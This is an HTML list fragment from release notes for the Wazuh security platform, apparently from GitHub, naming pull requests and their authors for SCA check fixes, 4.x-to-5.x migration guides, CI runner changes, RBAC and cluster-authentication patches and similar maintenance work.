<li>Fix sca check for etc/shadow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619503472" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36795" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36795/hovercard" href="https://github.com/wazuh/wazuh/pull/36795">#36795</a></li>
<li>Align remoted metrics shipper with new field names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572800781" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36740" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36740/hovercard" href="https://github.com/wazuh/wazuh/pull/36740">#36740</a></li>
<li>Fix wrap PolicyBanner stat in 'sh -c' so glob expands in macOS SCA check 41062 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615585186" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36783" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36783/hovercard" href="https://github.com/wazuh/wazuh/pull/36783">#36783</a></li>
<li>Bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623354993" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36801" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36801/hovercard" href="https://github.com/wazuh/wazuh/pull/36801">#36801</a></li>
<li>Defer module coordination while FIM first sync is in progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591815012" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36762" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36762/hovercard" href="https://github.com/wazuh/wazuh/pull/36762">#36762</a></li>
<li>Revert "Bump main branch" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623582882" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36802" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36802/hovercard" href="https://github.com/wazuh/wazuh/pull/36802">#36802</a></li>
<li>Change log severity for recoverable and expected conditions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615970610" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36786" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36786/hovercard" href="https://github.com/wazuh/wazuh/pull/36786">#36786</a></li>
<li>Prevent data race in schema validator factory concurrent initialization by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616512800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36789" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36789/hovercard" href="https://github.com/wazuh/wazuh/pull/36789">#36789</a></li>
<li>Schema generation for dotted and nested field mappings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536240667" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36473" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36473/hovercard" href="https://github.com/wazuh/wazuh/pull/36473">#36473</a></li>
<li>Engine support null values in schema validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535313001" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36470" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36470/hovercard" href="https://github.com/wazuh/wazuh/pull/36470">#36470</a></li>
<li>docs: add Active Response 4.x to 5.x migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jcorredor-spec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jcorredor-spec">@jcorredor-spec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521476970" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36402" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36402/hovercard" href="https://github.com/wazuh/wazuh/pull/36402">#36402</a></li>
<li>Use env mappings for variable passing in builderpackage workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572105403" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36738" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36738/hovercard" href="https://github.com/wazuh/wazuh/pull/36738">#36738</a></li>
<li>Adds 4.x to 5.x migration documentation. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615736469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36785" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36785/hovercard" href="https://github.com/wazuh/wazuh/pull/36785">#36785</a></li>
<li>Fix AWS cross-account SQS queue URL when using iam_role_arn by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617279433" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36791" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36791/hovercard" href="https://github.com/wazuh/wazuh/pull/36791">#36791</a></li>
<li>Fix enrollment key validation and improve input handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629562793" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36807" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36807/hovercard" href="https://github.com/wazuh/wazuh/pull/36807">#36807</a></li>
<li>Lower agent_sync_protocol and module sync log levels to reduce false-alarm noise by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634109312" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36817" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36817/hovercard" href="https://github.com/wazuh/wazuh/pull/36817">#36817</a></li>
<li>Add unit tests for utils, aws_tools, DockerListener, gcloud and azure modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591653615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36761" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36761/hovercard" href="https://github.com/wazuh/wazuh/pull/36761">#36761</a></li>
<li>Normalize numeric inode to string events (6960) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4641496397" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36837" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36837/hovercard" href="https://github.com/wazuh/wazuh/pull/36837">#36837</a></li>
<li>Prevent indexer consumer wait during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640571004" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36836" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36836/hovercard" href="https://github.com/wazuh/wazuh/pull/36836">#36836</a></li>
<li>Update manager 5x documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639437920" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36833" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36833/hovercard" href="https://github.com/wazuh/wazuh/pull/36833">#36833</a></li>
<li>Add bump-issue-link support to bumper workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664679055" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36868" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36868/hovercard" href="https://github.com/wazuh/wazuh/pull/36868">#36868</a></li>
<li>Add guide for migrating manager coordinator from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639020634" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36829" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36829/hovercard" href="https://github.com/wazuh/wazuh/pull/36829">#36829</a></li>
<li>Add Wazuh Manager Configuration documentation from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611934920" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36779" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36779/hovercard" href="https://github.com/wazuh/wazuh/pull/36779">#36779</a></li>
<li>Add documentation to migrate filebeat to indexer connector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664131019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36866" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36866/hovercard" href="https://github.com/wazuh/wazuh/pull/36866">#36866</a></li>
<li>wazuh-manager: Benchmark and footprint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456748469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36145" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36145/hovercard" href="https://github.com/wazuh/wazuh/pull/36145">#36145</a></li>
<li>Update manager upgrade block message by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4681713013" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36987" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36987/hovercard" href="https://github.com/wazuh/wazuh/pull/36987">#36987</a></li>
<li>5.x PR workflows improvements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596503652" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36766" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36766/hovercard" href="https://github.com/wazuh/wazuh/pull/36766">#36766</a></li>
<li>Add Manager 5.0 release notes and breaking changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4648591326" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36850" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36850/hovercard" href="https://github.com/wazuh/wazuh/pull/36850">#36850</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [main] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692375185" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37012" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37012/hovercard" href="https://github.com/wazuh/wazuh/pull/37012">#37012</a></li>
<li>chore: update vulnerable Python framework dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4699088509" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37024" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37024/hovercard" href="https://github.com/wazuh/wazuh/pull/37024">#37024</a></li>
<li>Add Manager 5.0 wazuh-manager.conf configuration reference by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691339394" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36999" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36999/hovercard" href="https://github.com/wazuh/wazuh/pull/36999">#36999</a></li>
<li>Add virustotal migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692765810" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37013" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37013/hovercard" href="https://github.com/wazuh/wazuh/pull/37013">#37013</a></li>
<li>Add VD migration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692092118" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37008" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37008/hovercard" href="https://github.com/wazuh/wazuh/pull/37008">#37008</a></li>
<li>Add documentation for wpk upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4693271310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37015" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37015/hovercard" href="https://github.com/wazuh/wazuh/pull/37015">#37015</a></li>
<li>Migrate agent build workflows to AWS CodeBuild runners by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701880741" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37028" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37028/hovercard" href="https://github.com/wazuh/wazuh/pull/37028">#37028</a></li>
<li>XML Decoders migration to YAML by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4673566639" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36959" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36959/hovercard" href="https://github.com/wazuh/wazuh/pull/36959">#36959</a></li>
<li>CDB to KVDB migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4690514873" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36996" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36996/hovercard" href="https://github.com/wazuh/wazuh/pull/36996">#36996</a></li>
<li>Documentation of Agentless migration to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4699204980" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37025" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37025/hovercard" href="https://github.com/wazuh/wazuh/pull/37025">#37025</a></li>
<li>Fix manager reload/restart silently fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4673792785" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36962" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36962/hovercard" href="https://github.com/wazuh/wazuh/pull/36962">#36962</a></li>
<li>Randomize key generation for installation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651010813" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36861" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36861/hovercard" href="https://github.com/wazuh/wazuh/pull/36861">#36861</a></li>
<li>Retry vulnerability feed validation failures promptly by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665777430" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36874" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36874/hovercard" href="https://github.com/wazuh/wazuh/pull/36874">#36874</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716517657" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37040" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37040/hovercard" href="https://github.com/wazuh/wazuh/pull/37040">#37040</a></li>
<li>Fix agent permanently stuck when TCP connection is silently half-closed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616576722" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36790" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36790/hovercard" href="https://github.com/wazuh/wazuh/pull/36790">#36790</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.6] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692373330" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37010" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37010/hovercard" href="https://github.com/wazuh/wazuh/pull/37010">#37010</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.7] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692374310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37011" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37011/hovercard" href="https://github.com/wazuh/wazuh/pull/37011">#37011</a></li>
<li>fix: correct blob URL refs for release branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718016446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37046" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37046/hovercard" href="https://github.com/wazuh/wazuh/pull/37046">#37046</a></li>
<li>Use restricted wazuh-server user for Manager Indexer authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724661439" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37061" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37061/hovercard" href="https://github.com/wazuh/wazuh/pull/37061">#37061</a></li>
<li>fix(packages): use wazuh-manager-control in manager init.d scripts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724166255" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37059" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37059/hovercard" href="https://github.com/wazuh/wazuh/pull/37059">#37059</a></li>
<li>fix: Update the unclassified event doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4726479817" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37126" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37126/hovercard" href="https://github.com/wazuh/wazuh/pull/37126">#37126</a></li>
<li>Skip vanished /proc entries during ports scan by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650163579" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36859" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36859/hovercard" href="https://github.com/wazuh/wazuh/pull/36859">#36859</a></li>
<li>Fix RBAC permission check to verify allow effect in update_config rules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724800552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37076" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37076/hovercard" href="https://github.com/wazuh/wazuh/pull/37076">#37076</a></li>
<li>Add destination confinement to worker non-merged and extra file sync paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691222179" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36998" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36998/hovercard" href="https://github.com/wazuh/wazuh/pull/36998">#36998</a></li>
<li>Patch cluster authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716191480" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37039" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37039/hovercard" href="https://github.com/wazuh/wazuh/pull/37039">#37039</a></li>
